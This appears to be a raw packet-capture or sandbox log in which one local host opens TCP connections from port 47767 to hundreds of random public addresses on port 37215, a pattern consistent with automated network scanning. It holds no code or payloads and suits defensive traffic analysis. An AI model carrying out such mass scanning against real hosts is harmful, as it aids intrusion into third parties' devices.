Aug 1, 2024 15:34:59.208163977 CEST	37215	47767	197.50.190.2	192.168.2.14
Aug 1, 2024 15:34:59.208173990 CEST	47767	37215	192.168.2.14	157.202.198.155
Aug 1, 2024 15:34:59.208177090 CEST	47767	37215	192.168.2.14	197.150.163.156
Aug 1, 2024 15:34:59.208178043 CEST	37215	47767	9.190.232.44	192.168.2.14
Aug 1, 2024 15:34:59.208190918 CEST	37215	47767	197.78.203.22	192.168.2.14
Aug 1, 2024 15:34:59.208204985 CEST	37215	47767	41.47.38.45	192.168.2.14
Aug 1, 2024 15:34:59.208210945 CEST	47767	37215	192.168.2.14	197.50.190.2
Aug 1, 2024 15:34:59.208210945 CEST	47767	37215	192.168.2.14	9.190.232.44
Aug 1, 2024 15:34:59.208218098 CEST	37215	47767	41.19.193.117	192.168.2.14
Aug 1, 2024 15:34:59.208226919 CEST	47767	37215	192.168.2.14	197.78.203.22
Aug 1, 2024 15:34:59.208231926 CEST	37215	47767	197.232.173.134	192.168.2.14
Aug 1, 2024 15:34:59.208235025 CEST	47767	37215	192.168.2.14	41.47.38.45
Aug 1, 2024 15:34:59.208246946 CEST	37215	47767	41.154.100.136	192.168.2.14
Aug 1, 2024 15:34:59.208250046 CEST	47767	37215	192.168.2.14	41.19.193.117
Aug 1, 2024 15:34:59.208254099 CEST	37215	47767	157.26.227.71	192.168.2.14
Aug 1, 2024 15:34:59.208266973 CEST	37215	47767	207.169.8.62	192.168.2.14
Aug 1, 2024 15:34:59.208281040 CEST	37215	47767	157.141.178.189	192.168.2.14
Aug 1, 2024 15:34:59.208285093 CEST	47767	37215	192.168.2.14	41.154.100.136
Aug 1, 2024 15:34:59.208285093 CEST	47767	37215	192.168.2.14	197.232.173.134
Aug 1, 2024 15:34:59.208293915 CEST	37215	47767	41.175.200.51	192.168.2.14
Aug 1, 2024 15:34:59.208304882 CEST	47767	37215	192.168.2.14	157.26.227.71
Aug 1, 2024 15:34:59.208308935 CEST	47767	37215	192.168.2.14	207.169.8.62
Aug 1, 2024 15:34:59.208308935 CEST	37215	47767	197.207.234.50	192.168.2.14
Aug 1, 2024 15:34:59.208313942 CEST	47767	37215	192.168.2.14	157.141.178.189
Aug 1, 2024 15:34:59.208323002 CEST	37215	47767	157.80.75.49	192.168.2.14
Aug 1, 2024 15:34:59.208336115 CEST	47767	37215	192.168.2.14	41.175.200.51
Aug 1, 2024 15:34:59.208343983 CEST	37215	47767	111.109.25.218	192.168.2.14
Aug 1, 2024 15:34:59.208349943 CEST	47767	37215	192.168.2.14	197.207.234.50
Aug 1, 2024 15:34:59.208364964 CEST	47767	37215	192.168.2.14	157.80.75.49
Aug 1, 2024 15:34:59.208367109 CEST	37215	47767	41.181.222.122	192.168.2.14
Aug 1, 2024 15:34:59.208379984 CEST	47767	37215	192.168.2.14	111.109.25.218
Aug 1, 2024 15:34:59.208381891 CEST	37215	47767	197.142.142.176	192.168.2.14
Aug 1, 2024 15:34:59.208399057 CEST	37215	47767	97.225.37.49	192.168.2.14
Aug 1, 2024 15:34:59.208405972 CEST	47767	37215	192.168.2.14	41.181.222.122
Aug 1, 2024 15:34:59.208411932 CEST	47767	37215	192.168.2.14	197.142.142.176
Aug 1, 2024 15:34:59.208412886 CEST	37215	47767	197.202.23.183	192.168.2.14
Aug 1, 2024 15:34:59.208426952 CEST	37215	47767	41.108.171.23	192.168.2.14
Aug 1, 2024 15:34:59.208436966 CEST	47767	37215	192.168.2.14	97.225.37.49
Aug 1, 2024 15:34:59.208440065 CEST	37215	47767	197.206.69.135	192.168.2.14
Aug 1, 2024 15:34:59.208452940 CEST	47767	37215	192.168.2.14	197.202.23.183
Aug 1, 2024 15:34:59.208455086 CEST	37215	47767	41.92.243.160	192.168.2.14
Aug 1, 2024 15:34:59.208466053 CEST	47767	37215	192.168.2.14	41.108.171.23
Aug 1, 2024 15:34:59.208468914 CEST	37215	47767	157.4.161.135	192.168.2.14
Aug 1, 2024 15:34:59.208479881 CEST	47767	37215	192.168.2.14	197.206.69.135
Aug 1, 2024 15:34:59.208493948 CEST	37215	47767	41.141.59.33	192.168.2.14
Aug 1, 2024 15:34:59.208498001 CEST	47767	37215	192.168.2.14	41.92.243.160
Aug 1, 2024 15:34:59.208508968 CEST	37215	47767	197.189.16.221	192.168.2.14
Aug 1, 2024 15:34:59.208508968 CEST	47767	37215	192.168.2.14	157.4.161.135
Aug 1, 2024 15:34:59.208523989 CEST	37215	47767	157.111.195.69	192.168.2.14
Aug 1, 2024 15:34:59.208534956 CEST	47767	37215	192.168.2.14	41.141.59.33
Aug 1, 2024 15:34:59.208538055 CEST	37215	47767	157.12.7.143	192.168.2.14
Aug 1, 2024 15:34:59.208544016 CEST	47767	37215	192.168.2.14	197.189.16.221
Aug 1, 2024 15:34:59.208551884 CEST	37215	47767	41.235.2.64	192.168.2.14
Aug 1, 2024 15:34:59.208563089 CEST	47767	37215	192.168.2.14	157.111.195.69
Aug 1, 2024 15:34:59.208565950 CEST	37215	47767	107.219.166.209	192.168.2.14
Aug 1, 2024 15:34:59.208579063 CEST	37215	47767	197.113.68.40	192.168.2.14
Aug 1, 2024 15:34:59.208581924 CEST	47767	37215	192.168.2.14	157.12.7.143
Aug 1, 2024 15:34:59.208586931 CEST	47767	37215	192.168.2.14	41.235.2.64
Aug 1, 2024 15:34:59.208592892 CEST	37215	47767	90.60.116.72	192.168.2.14
Aug 1, 2024 15:34:59.208599091 CEST	47767	37215	192.168.2.14	107.219.166.209
Aug 1, 2024 15:34:59.208607912 CEST	37215	47767	197.104.209.122	192.168.2.14
Aug 1, 2024 15:34:59.208627939 CEST	47767	37215	192.168.2.14	197.113.68.40
Aug 1, 2024 15:34:59.208628893 CEST	47767	37215	192.168.2.14	90.60.116.72
Aug 1, 2024 15:34:59.208641052 CEST	47767	37215	192.168.2.14	197.104.209.122
Aug 1, 2024 15:34:59.209064007 CEST	37215	47767	41.20.51.254	192.168.2.14
Aug 1, 2024 15:34:59.209076881 CEST	37215	47767	41.164.149.143	192.168.2.14
Aug 1, 2024 15:34:59.209090948 CEST	37215	47767	157.37.144.15	192.168.2.14
Aug 1, 2024 15:34:59.209101915 CEST	47767	37215	192.168.2.14	41.20.51.254
Aug 1, 2024 15:34:59.209105968 CEST	37215	47767	191.11.246.174	192.168.2.14
Aug 1, 2024 15:34:59.209120035 CEST	47767	37215	192.168.2.14	41.164.149.143
Aug 1, 2024 15:34:59.209120035 CEST	37215	47767	41.88.37.150	192.168.2.14
Aug 1, 2024 15:34:59.209129095 CEST	47767	37215	192.168.2.14	157.37.144.15
Aug 1, 2024 15:34:59.209134102 CEST	37215	47767	119.19.55.36	192.168.2.14
Aug 1, 2024 15:34:59.209148884 CEST	47767	37215	192.168.2.14	41.88.37.150
Aug 1, 2024 15:34:59.209148884 CEST	37215	47767	197.171.207.212	192.168.2.14
Aug 1, 2024 15:34:59.209150076 CEST	47767	37215	192.168.2.14	191.11.246.174
Aug 1, 2024 15:34:59.209162951 CEST	37215	47767	20.52.179.216	192.168.2.14
Aug 1, 2024 15:34:59.209177017 CEST	47767	37215	192.168.2.14	119.19.55.36
Aug 1, 2024 15:34:59.209177017 CEST	37215	47767	41.24.101.6	192.168.2.14
Aug 1, 2024 15:34:59.209183931 CEST	47767	37215	192.168.2.14	197.171.207.212
Aug 1, 2024 15:34:59.209188938 CEST	47767	37215	192.168.2.14	20.52.179.216
Aug 1, 2024 15:34:59.209192038 CEST	37215	47767	41.100.224.123	192.168.2.14
Aug 1, 2024 15:34:59.209207058 CEST	37215	47767	41.164.193.236	192.168.2.14
Aug 1, 2024 15:34:59.209214926 CEST	47767	37215	192.168.2.14	41.24.101.6
Aug 1, 2024 15:34:59.209219933 CEST	37215	47767	31.68.35.109	192.168.2.14
Aug 1, 2024 15:34:59.209228039 CEST	47767	37215	192.168.2.14	41.100.224.123
Aug 1, 2024 15:34:59.209233999 CEST	37215	47767	157.124.63.138	192.168.2.14
Aug 1, 2024 15:34:59.209238052 CEST	47767	37215	192.168.2.14	41.164.193.236
Aug 1, 2024 15:34:59.209248066 CEST	37215	47767	157.154.49.44	192.168.2.14
Aug 1, 2024 15:34:59.209254980 CEST	47767	37215	192.168.2.14	31.68.35.109
Aug 1, 2024 15:34:59.209264040 CEST	37215	47767	84.232.124.112	192.168.2.14
Aug 1, 2024 15:34:59.209270000 CEST	47767	37215	192.168.2.14	157.124.63.138
Aug 1, 2024 15:34:59.209278107 CEST	37215	47767	135.28.2.66	192.168.2.14
Aug 1, 2024 15:34:59.209289074 CEST	47767	37215	192.168.2.14	157.154.49.44
Aug 1, 2024 15:34:59.209292889 CEST	37215	47767	197.102.197.145	192.168.2.14
Aug 1, 2024 15:34:59.209300041 CEST	47767	37215	192.168.2.14	84.232.124.112
Aug 1, 2024 15:34:59.209306955 CEST	37215	47767	157.213.113.199	192.168.2.14
Aug 1, 2024 15:34:59.209320068 CEST	37215	47767	157.108.237.235	192.168.2.14
Aug 1, 2024 15:34:59.209320068 CEST	47767	37215	192.168.2.14	135.28.2.66
Aug 1, 2024 15:34:59.209328890 CEST	47767	37215	192.168.2.14	197.102.197.145
Aug 1, 2024 15:34:59.209333897 CEST	37215	47767	157.182.24.105	192.168.2.14
Aug 1, 2024 15:34:59.209340096 CEST	47767	37215	192.168.2.14	157.213.113.199
Aug 1, 2024 15:34:59.209350109 CEST	37215	47767	38.125.81.98	192.168.2.14
Aug 1, 2024 15:34:59.209361076 CEST	47767	37215	192.168.2.14	157.108.237.235
Aug 1, 2024 15:34:59.209362030 CEST	47767	37215	192.168.2.14	157.182.24.105
Aug 1, 2024 15:34:59.209363937 CEST	37215	47767	197.159.39.86	192.168.2.14
Aug 1, 2024 15:34:59.209378958 CEST	37215	47767	41.98.161.227	192.168.2.14
Aug 1, 2024 15:34:59.209393024 CEST	47767	37215	192.168.2.14	197.159.39.86
Aug 1, 2024 15:34:59.209393978 CEST	47767	37215	192.168.2.14	38.125.81.98
Aug 1, 2024 15:34:59.209418058 CEST	47767	37215	192.168.2.14	41.98.161.227
Aug 1, 2024 15:34:59.209817886 CEST	37215	47767	41.193.83.65	192.168.2.14
Aug 1, 2024 15:34:59.209863901 CEST	47767	37215	192.168.2.14	41.193.83.65
Aug 1, 2024 15:34:59.209891081 CEST	37215	47767	157.196.26.75	192.168.2.14
Aug 1, 2024 15:34:59.209904909 CEST	37215	47767	125.161.255.108	192.168.2.14
Aug 1, 2024 15:34:59.209911108 CEST	37215	47767	157.240.220.84	192.168.2.14
Aug 1, 2024 15:34:59.209943056 CEST	47767	37215	192.168.2.14	157.196.26.75
Aug 1, 2024 15:34:59.209945917 CEST	47767	37215	192.168.2.14	125.161.255.108
Aug 1, 2024 15:34:59.209955931 CEST	47767	37215	192.168.2.14	157.240.220.84
Aug 1, 2024 15:34:59.210059881 CEST	37215	47767	41.217.127.50	192.168.2.14
Aug 1, 2024 15:34:59.210073948 CEST	37215	47767	126.193.242.217	192.168.2.14
Aug 1, 2024 15:34:59.210088015 CEST	37215	47767	197.206.36.187	192.168.2.14
Aug 1, 2024 15:34:59.210098982 CEST	47767	37215	192.168.2.14	41.217.127.50
Aug 1, 2024 15:34:59.210102081 CEST	37215	47767	157.36.246.84	192.168.2.14
Aug 1, 2024 15:34:59.210114956 CEST	37215	47767	157.253.180.1	192.168.2.14
Aug 1, 2024 15:34:59.210115910 CEST	47767	37215	192.168.2.14	126.193.242.217
Aug 1, 2024 15:34:59.210123062 CEST	47767	37215	192.168.2.14	197.206.36.187
Aug 1, 2024 15:34:59.210159063 CEST	47767	37215	192.168.2.14	157.253.180.1
Aug 1, 2024 15:34:59.210159063 CEST	47767	37215	192.168.2.14	157.36.246.84
Aug 1, 2024 15:34:59.212393999 CEST	37215	47767	197.68.48.181	192.168.2.14
Aug 1, 2024 15:34:59.212409019 CEST	37215	47767	157.33.103.177	192.168.2.14
Aug 1, 2024 15:34:59.212423086 CEST	37215	47767	80.139.130.56	192.168.2.14
Aug 1, 2024 15:34:59.212435961 CEST	37215	47767	41.168.112.235	192.168.2.14
Aug 1, 2024 15:34:59.212438107 CEST	47767	37215	192.168.2.14	197.68.48.181
Aug 1, 2024 15:34:59.212449074 CEST	37215	47767	41.238.48.28	192.168.2.14
Aug 1, 2024 15:34:59.212461948 CEST	37215	47767	157.164.69.172	192.168.2.14
Aug 1, 2024 15:34:59.212469101 CEST	47767	37215	192.168.2.14	157.33.103.177
Aug 1, 2024 15:34:59.212469101 CEST	47767	37215	192.168.2.14	80.139.130.56
Aug 1, 2024 15:34:59.212474108 CEST	37215	47767	180.63.19.68	192.168.2.14
Aug 1, 2024 15:34:59.212475061 CEST	47767	37215	192.168.2.14	41.168.112.235
Aug 1, 2024 15:34:59.212493896 CEST	47767	37215	192.168.2.14	157.164.69.172
Aug 1, 2024 15:34:59.212495089 CEST	37215	47767	41.62.154.132	192.168.2.14
Aug 1, 2024 15:34:59.212493896 CEST	47767	37215	192.168.2.14	41.238.48.28
Aug 1, 2024 15:34:59.212508917 CEST	37215	47767	157.114.215.88	192.168.2.14
Aug 1, 2024 15:34:59.212518930 CEST	47767	37215	192.168.2.14	180.63.19.68
Aug 1, 2024 15:34:59.212522984 CEST	37215	47767	24.19.94.141	192.168.2.14
Aug 1, 2024 15:34:59.212538004 CEST	37215	47767	197.80.49.11	192.168.2.14
Aug 1, 2024 15:34:59.212541103 CEST	47767	37215	192.168.2.14	157.114.215.88
Aug 1, 2024 15:34:59.212538958 CEST	47767	37215	192.168.2.14	41.62.154.132
Aug 1, 2024 15:34:59.212552071 CEST	37215	47767	197.238.76.171	192.168.2.14
Aug 1, 2024 15:34:59.212558985 CEST	47767	37215	192.168.2.14	24.19.94.141
Aug 1, 2024 15:34:59.212568998 CEST	37215	47767	157.96.41.58	192.168.2.14
Aug 1, 2024 15:34:59.212574005 CEST	47767	37215	192.168.2.14	197.80.49.11
Aug 1, 2024 15:34:59.212583065 CEST	37215	47767	157.224.253.79	192.168.2.14
Aug 1, 2024 15:34:59.212594032 CEST	47767	37215	192.168.2.14	197.238.76.171
Aug 1, 2024 15:34:59.212598085 CEST	37215	47767	157.234.135.198	192.168.2.14
Aug 1, 2024 15:34:59.212606907 CEST	47767	37215	192.168.2.14	157.96.41.58
Aug 1, 2024 15:34:59.212613106 CEST	37215	47767	157.137.112.29	192.168.2.14
Aug 1, 2024 15:34:59.212626934 CEST	37215	47767	41.241.175.134	192.168.2.14
Aug 1, 2024 15:34:59.212626934 CEST	47767	37215	192.168.2.14	157.224.253.79
Aug 1, 2024 15:34:59.212635040 CEST	47767	37215	192.168.2.14	157.234.135.198
Aug 1, 2024 15:34:59.212639093 CEST	37215	47767	41.151.44.236	192.168.2.14
Aug 1, 2024 15:34:59.212652922 CEST	37215	47767	41.170.129.204	192.168.2.14
Aug 1, 2024 15:34:59.212656021 CEST	47767	37215	192.168.2.14	157.137.112.29
Aug 1, 2024 15:34:59.212657928 CEST	47767	37215	192.168.2.14	41.241.175.134
Aug 1, 2024 15:34:59.212666988 CEST	37215	47767	12.200.124.37	192.168.2.14
Aug 1, 2024 15:34:59.212680101 CEST	37215	47767	157.4.86.223	192.168.2.14
Aug 1, 2024 15:34:59.212682009 CEST	47767	37215	192.168.2.14	41.151.44.236
Aug 1, 2024 15:34:59.212682962 CEST	47767	37215	192.168.2.14	41.170.129.204
Aug 1, 2024 15:34:59.212693930 CEST	37215	47767	197.146.97.77	192.168.2.14
Aug 1, 2024 15:34:59.212699890 CEST	47767	37215	192.168.2.14	12.200.124.37
Aug 1, 2024 15:34:59.212708950 CEST	37215	47767	27.13.167.201	192.168.2.14
Aug 1, 2024 15:34:59.212718010 CEST	47767	37215	192.168.2.14	157.4.86.223
Aug 1, 2024 15:34:59.212724924 CEST	37215	47767	157.162.42.208	192.168.2.14
Aug 1, 2024 15:34:59.212727070 CEST	47767	37215	192.168.2.14	197.146.97.77
Aug 1, 2024 15:34:59.212738037 CEST	37215	47767	188.108.83.39	192.168.2.14
Aug 1, 2024 15:34:59.212749958 CEST	47767	37215	192.168.2.14	27.13.167.201
Aug 1, 2024 15:34:59.212752104 CEST	37215	47767	157.201.154.148	192.168.2.14
Aug 1, 2024 15:34:59.212766886 CEST	47767	37215	192.168.2.14	157.162.42.208
Aug 1, 2024 15:34:59.212766886 CEST	37215	47767	197.60.134.183	192.168.2.14
Aug 1, 2024 15:34:59.212775946 CEST	47767	37215	192.168.2.14	188.108.83.39
Aug 1, 2024 15:34:59.212783098 CEST	37215	47767	157.254.90.108	192.168.2.14
Aug 1, 2024 15:34:59.212796926 CEST	37215	47767	41.78.120.21	192.168.2.14
Aug 1, 2024 15:34:59.212810993 CEST	37215	47767	197.105.131.94	192.168.2.14
Aug 1, 2024 15:34:59.212824106 CEST	37215	47767	73.38.23.67	192.168.2.14
Aug 1, 2024 15:34:59.212836981 CEST	37215	47767	157.242.52.91	192.168.2.14
Aug 1, 2024 15:34:59.212851048 CEST	37215	47767	157.23.170.138	192.168.2.14
Aug 1, 2024 15:34:59.212865114 CEST	37215	47767	41.89.107.167	192.168.2.14
Aug 1, 2024 15:34:59.212865114 CEST	47767	37215	192.168.2.14	157.254.90.108
Aug 1, 2024 15:34:59.212865114 CEST	47767	37215	192.168.2.14	41.78.120.21
Aug 1, 2024 15:34:59.212867022 CEST	47767	37215	192.168.2.14	197.60.134.183
Aug 1, 2024 15:34:59.212869883 CEST	47767	37215	192.168.2.14	197.105.131.94
Aug 1, 2024 15:34:59.212869883 CEST	47767	37215	192.168.2.14	157.201.154.148
Aug 1, 2024 15:34:59.212871075 CEST	37215	47767	41.56.153.170	192.168.2.14
Aug 1, 2024 15:34:59.212877989 CEST	47767	37215	192.168.2.14	157.242.52.91
Aug 1, 2024 15:34:59.212883949 CEST	47767	37215	192.168.2.14	73.38.23.67
Aug 1, 2024 15:34:59.212886095 CEST	37215	47767	41.150.42.173	192.168.2.14
Aug 1, 2024 15:34:59.212896109 CEST	47767	37215	192.168.2.14	41.89.107.167
Aug 1, 2024 15:34:59.212901115 CEST	37215	47767	157.190.239.177	192.168.2.14
Aug 1, 2024 15:34:59.212902069 CEST	47767	37215	192.168.2.14	41.56.153.170
Aug 1, 2024 15:34:59.212904930 CEST	47767	37215	192.168.2.14	157.23.170.138
Aug 1, 2024 15:34:59.212913990 CEST	47767	37215	192.168.2.14	41.150.42.173
Aug 1, 2024 15:34:59.212915897 CEST	37215	47767	157.82.65.232	192.168.2.14
Aug 1, 2024 15:34:59.212930918 CEST	37215	47767	41.147.26.83	192.168.2.14
Aug 1, 2024 15:34:59.212939024 CEST	47767	37215	192.168.2.14	157.190.239.177
Aug 1, 2024 15:34:59.212953091 CEST	47767	37215	192.168.2.14	157.82.65.232
Aug 1, 2024 15:34:59.212956905 CEST	37215	47767	41.235.197.244	192.168.2.14
Aug 1, 2024 15:34:59.212966919 CEST	47767	37215	192.168.2.14	41.147.26.83
Aug 1, 2024 15:34:59.212971926 CEST	37215	47767	197.63.190.45	192.168.2.14
Aug 1, 2024 15:34:59.212985992 CEST	37215	47767	157.78.220.41	192.168.2.14
Aug 1, 2024 15:34:59.213000059 CEST	37215	47767	41.76.128.203	192.168.2.14
Aug 1, 2024 15:34:59.213005066 CEST	47767	37215	192.168.2.14	197.63.190.45
Aug 1, 2024 15:34:59.213006020 CEST	47767	37215	192.168.2.14	41.235.197.244
Aug 1, 2024 15:34:59.213013887 CEST	37215	47767	197.85.142.182	192.168.2.14
Aug 1, 2024 15:34:59.213020086 CEST	47767	37215	192.168.2.14	157.78.220.41
Aug 1, 2024 15:34:59.213027954 CEST	37215	47767	63.120.40.133	192.168.2.14
Aug 1, 2024 15:34:59.213037968 CEST	47767	37215	192.168.2.14	41.76.128.203
Aug 1, 2024 15:34:59.213042021 CEST	37215	47767	197.246.30.64	192.168.2.14
Aug 1, 2024 15:34:59.213057041 CEST	37215	47767	136.46.29.148	192.168.2.14
Aug 1, 2024 15:34:59.213063002 CEST	47767	37215	192.168.2.14	197.85.142.182
Aug 1, 2024 15:34:59.213063002 CEST	47767	37215	192.168.2.14	63.120.40.133
Aug 1, 2024 15:34:59.213072062 CEST	37215	47767	41.41.71.88	192.168.2.14
Aug 1, 2024 15:34:59.213083982 CEST	47767	37215	192.168.2.14	197.246.30.64
Aug 1, 2024 15:34:59.213084936 CEST	37215	47767	157.138.174.217	192.168.2.14
Aug 1, 2024 15:34:59.213093042 CEST	47767	37215	192.168.2.14	136.46.29.148
Aug 1, 2024 15:34:59.213099003 CEST	37215	47767	118.192.63.141	192.168.2.14
Aug 1, 2024 15:34:59.213113070 CEST	37215	47767	41.109.220.125	192.168.2.14
Aug 1, 2024 15:34:59.213114977 CEST	47767	37215	192.168.2.14	41.41.71.88
Aug 1, 2024 15:34:59.213119030 CEST	47767	37215	192.168.2.14	157.138.174.217
Aug 1, 2024 15:34:59.213128090 CEST	37215	47767	112.128.136.30	192.168.2.14
Aug 1, 2024 15:34:59.213129044 CEST	47767	37215	192.168.2.14	118.192.63.141
Aug 1, 2024 15:34:59.213143110 CEST	37215	47767	41.107.94.48	192.168.2.14
Aug 1, 2024 15:34:59.213150978 CEST	47767	37215	192.168.2.14	41.109.220.125
Aug 1, 2024 15:34:59.213155985 CEST	37215	47767	41.52.107.254	192.168.2.14
Aug 1, 2024 15:34:59.213165045 CEST	47767	37215	192.168.2.14	112.128.136.30
Aug 1, 2024 15:34:59.213169098 CEST	37215	47767	41.83.163.99	192.168.2.14
Aug 1, 2024 15:34:59.213177919 CEST	47767	37215	192.168.2.14	41.107.94.48
Aug 1, 2024 15:34:59.213182926 CEST	37215	47767	197.185.111.97	192.168.2.14
Aug 1, 2024 15:34:59.213197947 CEST	37215	47767	197.23.60.168	192.168.2.14
Aug 1, 2024 15:34:59.213202953 CEST	47767	37215	192.168.2.14	41.83.163.99
Aug 1, 2024 15:34:59.213205099 CEST	47767	37215	192.168.2.14	41.52.107.254
Aug 1, 2024 15:34:59.213212967 CEST	37215	47767	219.155.0.124	192.168.2.14
Aug 1, 2024 15:34:59.213216066 CEST	47767	37215	192.168.2.14	197.185.111.97
Aug 1, 2024 15:34:59.213227034 CEST	37215	47767	41.161.102.218	192.168.2.14
Aug 1, 2024 15:34:59.213238001 CEST	47767	37215	192.168.2.14	197.23.60.168
Aug 1, 2024 15:34:59.213241100 CEST	37215	47767	166.223.221.164	192.168.2.14
Aug 1, 2024 15:34:59.213248014 CEST	47767	37215	192.168.2.14	219.155.0.124
Aug 1, 2024 15:34:59.213253975 CEST	37215	47767	157.5.109.189	192.168.2.14
Aug 1, 2024 15:34:59.213268042 CEST	37215	47767	157.158.183.224	192.168.2.14
Aug 1, 2024 15:34:59.213274956 CEST	47767	37215	192.168.2.14	41.161.102.218
Aug 1, 2024 15:34:59.213283062 CEST	47767	37215	192.168.2.14	166.223.221.164
Aug 1, 2024 15:34:59.213284969 CEST	37215	47767	18.194.167.50	192.168.2.14
Aug 1, 2024 15:34:59.213299990 CEST	37215	47767	91.194.45.38	192.168.2.14
Aug 1, 2024 15:34:59.213306904 CEST	47767	37215	192.168.2.14	157.5.109.189
Aug 1, 2024 15:34:59.213306904 CEST	47767	37215	192.168.2.14	157.158.183.224
Aug 1, 2024 15:34:59.213313103 CEST	37215	47767	41.74.123.25	192.168.2.14
Aug 1, 2024 15:34:59.213313103 CEST	47767	37215	192.168.2.14	18.194.167.50
Aug 1, 2024 15:34:59.213330030 CEST	37215	47767	138.214.102.216	192.168.2.14
Aug 1, 2024 15:34:59.213332891 CEST	47767	37215	192.168.2.14	91.194.45.38
Aug 1, 2024 15:34:59.213344097 CEST	37215	47767	41.43.100.163	192.168.2.14
Aug 1, 2024 15:34:59.213346958 CEST	47767	37215	192.168.2.14	41.74.123.25
Aug 1, 2024 15:34:59.213357925 CEST	37215	47767	157.120.66.165	192.168.2.14
Aug 1, 2024 15:34:59.213371992 CEST	37215	47767	197.167.39.95	192.168.2.14
Aug 1, 2024 15:34:59.213378906 CEST	47767	37215	192.168.2.14	138.214.102.216
Aug 1, 2024 15:34:59.213385105 CEST	47767	37215	192.168.2.14	41.43.100.163
Aug 1, 2024 15:34:59.213386059 CEST	37215	47767	134.183.251.243	192.168.2.14
Aug 1, 2024 15:34:59.213392019 CEST	47767	37215	192.168.2.14	157.120.66.165
Aug 1, 2024 15:34:59.213401079 CEST	37215	47767	41.219.197.16	192.168.2.14
Aug 1, 2024 15:34:59.213407993 CEST	47767	37215	192.168.2.14	197.167.39.95
Aug 1, 2024 15:34:59.213416100 CEST	37215	47767	157.88.68.208	192.168.2.14
Aug 1, 2024 15:34:59.213426113 CEST	47767	37215	192.168.2.14	134.183.251.243
Aug 1, 2024 15:34:59.213428020 CEST	37215	47767	157.154.48.216	192.168.2.14
Aug 1, 2024 15:34:59.213440895 CEST	47767	37215	192.168.2.14	41.219.197.16
Aug 1, 2024 15:34:59.213442087 CEST	37215	47767	197.130.251.3	192.168.2.14
Aug 1, 2024 15:34:59.213445902 CEST	47767	37215	192.168.2.14	157.88.68.208
Aug 1, 2024 15:34:59.213457108 CEST	37215	47767	197.89.173.242	192.168.2.14
Aug 1, 2024 15:34:59.213468075 CEST	47767	37215	192.168.2.14	157.154.48.216
Aug 1, 2024 15:34:59.213470936 CEST	37215	47767	157.253.10.34	192.168.2.14
Aug 1, 2024 15:34:59.213475943 CEST	47767	37215	192.168.2.14	197.130.251.3
Aug 1, 2024 15:34:59.213484049 CEST	37215	47767	197.16.100.78	192.168.2.14
Aug 1, 2024 15:34:59.213496923 CEST	47767	37215	192.168.2.14	197.89.173.242
Aug 1, 2024 15:34:59.213496923 CEST	47767	37215	192.168.2.14	157.253.10.34
Aug 1, 2024 15:34:59.213498116 CEST	37215	47767	197.12.225.254	192.168.2.14
Aug 1, 2024 15:34:59.213510036 CEST	37215	47767	197.12.95.190	192.168.2.14
Aug 1, 2024 15:34:59.213521004 CEST	47767	37215	192.168.2.14	197.16.100.78
Aug 1, 2024 15:34:59.213524103 CEST	37215	47767	41.79.160.146	192.168.2.14
Aug 1, 2024 15:34:59.213537931 CEST	37215	47767	157.103.47.32	192.168.2.14
Aug 1, 2024 15:34:59.213546991 CEST	47767	37215	192.168.2.14	197.12.95.190
Aug 1, 2024 15:34:59.213548899 CEST	47767	37215	192.168.2.14	197.12.225.254
Aug 1, 2024 15:34:59.213551998 CEST	37215	47767	41.108.249.103	192.168.2.14
Aug 1, 2024 15:34:59.213561058 CEST	47767	37215	192.168.2.14	41.79.160.146
Aug 1, 2024 15:34:59.213565111 CEST	37215	47767	197.17.179.252	192.168.2.14
Aug 1, 2024 15:34:59.213577986 CEST	47767	37215	192.168.2.14	157.103.47.32
Aug 1, 2024 15:34:59.213579893 CEST	37215	47767	41.245.185.224	192.168.2.14
Aug 1, 2024 15:34:59.213589907 CEST	47767	37215	192.168.2.14	41.108.249.103
Aug 1, 2024 15:34:59.213594913 CEST	37215	47767	157.79.109.3	192.168.2.14
Aug 1, 2024 15:34:59.213603020 CEST	47767	37215	192.168.2.14	197.17.179.252
Aug 1, 2024 15:34:59.213610888 CEST	37215	47767	41.74.126.187	192.168.2.14
Aug 1, 2024 15:34:59.213618994 CEST	47767	37215	192.168.2.14	41.245.185.224
Aug 1, 2024 15:34:59.213625908 CEST	37215	47767	41.253.236.38	192.168.2.14
Aug 1, 2024 15:34:59.213628054 CEST	47767	37215	192.168.2.14	157.79.109.3
Aug 1, 2024 15:34:59.213640928 CEST	37215	47767	197.71.147.151	192.168.2.14
Aug 1, 2024 15:34:59.213646889 CEST	47767	37215	192.168.2.14	41.74.126.187
Aug 1, 2024 15:34:59.213654995 CEST	37215	47767	41.154.118.32	192.168.2.14
Aug 1, 2024 15:34:59.213661909 CEST	47767	37215	192.168.2.14	41.253.236.38
Aug 1, 2024 15:34:59.213668108 CEST	37215	47767	197.185.178.240	192.168.2.14
Aug 1, 2024 15:34:59.213680029 CEST	47767	37215	192.168.2.14	197.71.147.151
Aug 1, 2024 15:34:59.213680983 CEST	37215	47767	197.53.237.26	192.168.2.14
Aug 1, 2024 15:34:59.213694096 CEST	47767	37215	192.168.2.14	41.154.118.32
Aug 1, 2024 15:34:59.213694096 CEST	37215	47767	211.54.101.57	192.168.2.14
Aug 1, 2024 15:34:59.213709116 CEST	47767	37215	192.168.2.14	197.185.178.240
Aug 1, 2024 15:34:59.213710070 CEST	37215	47767	41.68.28.149	192.168.2.14
Aug 1, 2024 15:34:59.213713884 CEST	47767	37215	192.168.2.14	197.53.237.26
Aug 1, 2024 15:34:59.213723898 CEST	37215	47767	137.133.125.210	192.168.2.14
Aug 1, 2024 15:34:59.213726044 CEST	47767	37215	192.168.2.14	211.54.101.57
Aug 1, 2024 15:34:59.213742018 CEST	37215	47767	197.99.211.31	192.168.2.14
Aug 1, 2024 15:34:59.213756084 CEST	37215	47767	197.54.229.169	192.168.2.14
Aug 1, 2024 15:34:59.213757992 CEST	47767	37215	192.168.2.14	41.68.28.149
Aug 1, 2024 15:34:59.213768005 CEST	47767	37215	192.168.2.14	137.133.125.210
Aug 1, 2024 15:34:59.213769913 CEST	37215	47767	126.100.155.189	192.168.2.14
Aug 1, 2024 15:34:59.213778019 CEST	47767	37215	192.168.2.14	197.99.211.31
Aug 1, 2024 15:34:59.213798046 CEST	47767	37215	192.168.2.14	197.54.229.169
Aug 1, 2024 15:34:59.213809967 CEST	47767	37215	192.168.2.14	126.100.155.189
Aug 1, 2024 15:34:59.214451075 CEST	37215	47767	157.101.162.13	192.168.2.14
Aug 1, 2024 15:34:59.214464903 CEST	37215	47767	41.52.12.132	192.168.2.14
Aug 1, 2024 15:34:59.214478970 CEST	37215	47767	197.121.155.108	192.168.2.14
Aug 1, 2024 15:34:59.214492083 CEST	47767	37215	192.168.2.14	157.101.162.13
